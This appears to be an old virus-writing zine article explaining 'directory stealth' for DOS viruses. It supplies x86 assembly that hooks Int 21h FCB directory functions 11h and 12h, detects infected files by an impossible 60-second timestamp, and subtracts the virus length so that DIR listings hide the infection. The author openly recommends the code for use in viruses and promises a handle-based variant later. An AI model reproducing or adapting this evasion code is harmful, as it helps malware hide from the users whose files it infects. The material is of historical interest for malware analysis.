130 lines
5.9 KiB
Plaintext
130 lines
5.9 KiB
Plaintext
|
Directory Stealth (FCB)
|
|||
|
-----------------------------------------------------------------------------
|
|||
|
|
|||
|
Nowadays, a virus needs to use some kind of stealth technique in order to be
|
|||
|
effective. Memory stealth is something obviously needed in a virus, but in
|
|||
|
this article we'll discuss another stealth method, simple and easy to put
|
|||
|
into practice.
|
|||
|
|
|||
|
It's a problem, these days. Users are informed about viruses and everyone is
|
|||
|
astonished, imagining all these little bugs are getting into their machines.
|
|||
|
When a user sees his files start to grow for no apparent reason, he knows
|
|||
|
something strange is happening. And that strange 'thing' is almost certainly
|
|||
|
a virus.
|
|||
|
|
|||
|
The technique we'll discuss in this article was developed precisely to avoid
|
|||
|
just this situation: Directory Stealth. We use this technique so that when
|
|||
|
the user views his directory, he can't see the increase in file size which
|
|||
|
results from a virus infection.
|
|||
|
|
|||
|
When the user types DIR, DOS functions 11h and 12h are called. What we'll do
|
|||
|
is to intercept these calls from our Int 21 handler.
|
|||
|
|
|||
|
Before going on, we need to talk about FCB (File control Block). This is a
|
|||
|
table which DOS uses to work with files: open, close, etc. etc. There are 2
|
|||
|
types of FCBs. One is NORMAL... Its format is as follows:
|
|||
|
|
|||
|
offset Size Description
|
|||
|
-----------------------------------------------------------------------------
|
|||
|
00h 1 Drive (00=actual, 01=A:, 02=B:, 03=C: etc.)
|
|||
|
01h 8 File name. Space filled if less than 8 characters.
|
|||
|
09h 3 File extension.
|
|||
|
0Ch 2 Actual Block. Points to the register block.
|
|||
|
0Eh 2 Register size.
|
|||
|
10h 4 File size in bytes.
|
|||
|
14h 2 Date.
|
|||
|
16h 2 Time.
|
|||
|
18h 4 Reserved (MS doesn't tell us what it's used for) ;)
|
|||
|
1Ch 4 Equal to offset 10h, but that's the default value.
|
|||
|
20h 1 Offset from actual register.
|
|||
|
21h 4 Relative register.
|
|||
|
|
|||
|
There's also an EXTENDED FCB which is the same as the NORMAL FCB, except that
|
|||
|
there are 7 additional bytes added to the beginning (before offset 0h of the
|
|||
|
NORMAL FCB)
|
|||
|
|
|||
|
Offset Size Description
|
|||
|
-----------------------------------------------------------------------------
|
|||
|
-07h 1 contains the value 0FFh, which indicates its an extended
|
|||
|
FCB.
|
|||
|
-06h 5 Reserved
|
|||
|
-01h 1 Byte Attribute
|
|||
|
|
|||
|
When we ask for the DIR, Int 21 functions 11h & 12h are executed and the
|
|||
|
system searches for the files based on the contents of the FCB. If the
|
|||
|
function ends satisfactorily, the contents of the FCB are copied to the DTA.
|
|||
|
What we are going to do is to edit the data copied to the DTA.
|
|||
|
|
|||
|
First, we add the code which will intercept the Int 21 11h and 12h functions:
|
|||
|
|
|||
|
Handler_21:
|
|||
|
..
|
|||
|
..
|
|||
|
cmp ah,11h ; Did the user ask for a directory?
|
|||
|
je D_stealth ; invoke stealth
|
|||
|
cmp ah,12h ; Did the user ask for a directory?
|
|||
|
je D_stealth ; invoke stealth
|
|||
|
..
|
|||
|
..
|
|||
|
|
|||
|
Let's go straight to the stealth code. First we'll call the original Int 21
|
|||
|
so the DTA is filled with the file data.
|
|||
|
|
|||
|
D_Stealth:
|
|||
|
pushf ; we simulate an
|
|||
|
call dword ptr cs:[Old21] ; int 21h
|
|||
|
or al,al ; if AL=0 then all OK.
|
|||
|
jnz ERROR ; ag, there's been an error. ;)
|
|||
|
|
|||
|
|
|||
|
What we do next is to obtain the DTA address so we can modify the data.
|
|||
|
|
|||
|
push ax bx es ; We store the registers we're using
|
|||
|
mov ah,2fh ; The DTA address is returned in
|
|||
|
int 21h ; ES:BX
|
|||
|
|
|||
|
Now we must determine whether it's an extended or normal FCB, since the
|
|||
|
offsets will be different. So we see if the first byte is 0FFh: if it is,
|
|||
|
it's extended. Otherwise it's normal. :) If it's extended, we'll add 7
|
|||
|
bytes to its address. These are of no use to us so we'll skip them so as to
|
|||
|
get to the first datum the two (extended and normal) have in common.
|
|||
|
|
|||
|
cmp byte ptr es:[BX],0ffh ; Is the first byte FF?
|
|||
|
jne normal ; no, then it's a normal FCB
|
|||
|
add bx,7h ; If EXTENDED, add 7 bytes
|
|||
|
|
|||
|
Next, we must see if the file is infected, since if it is, we're not
|
|||
|
interested in fixing anything. For this we assume that we've marked infected
|
|||
|
files by setting the seconds to 60, an impossible value.
|
|||
|
|
|||
|
normal: mov ax,es:[bx+17h] ; We take the file's time from the
|
|||
|
and ax,1fh ; FCB and we check the seconds.
|
|||
|
xor al,1eh ; Do the seconds = 60?
|
|||
|
; 1eh = 30 decimal, 30*2 = 60 sec.
|
|||
|
; XOR = CMP, but quicker and better.
|
|||
|
jne no_infectado ; not 60 = not infected..
|
|||
|
|
|||
|
The following code is executed ONLY if the file is infected. We subtract the
|
|||
|
size of the virus from the file size in order to obtain the original file
|
|||
|
size..
|
|||
|
|
|||
|
sub word ptr es:[bx+1dh],VIRLEN ; Subtract virus size.
|
|||
|
sbb word ptr es:[bx+1fh],0
|
|||
|
|
|||
|
Done! Now we restore the registers we used and return from the int.
|
|||
|
|
|||
|
no_infectado: pop es bx ax ; restore the registers
|
|||
|
error: iret ; return..
|
|||
|
|
|||
|
There we are. It's really very easy and worthy of being included in a virus.
|
|||
|
The code is minimal and its services are truly useful..
|
|||
|
|
|||
|
Well, we've covered Directory Stealth, using the FCB. But there is another
|
|||
|
type of stealth, using HANDLE, which is the method used by Norton Commander,
|
|||
|
PCTools and similar programs to look at files. This method is much easier to
|
|||
|
use than FCB. In a forthcoming article we'll cover this method, which is
|
|||
|
practically the same as FCB.
|
|||
|
|
|||
|
- WM<57> -
|
|||
|
|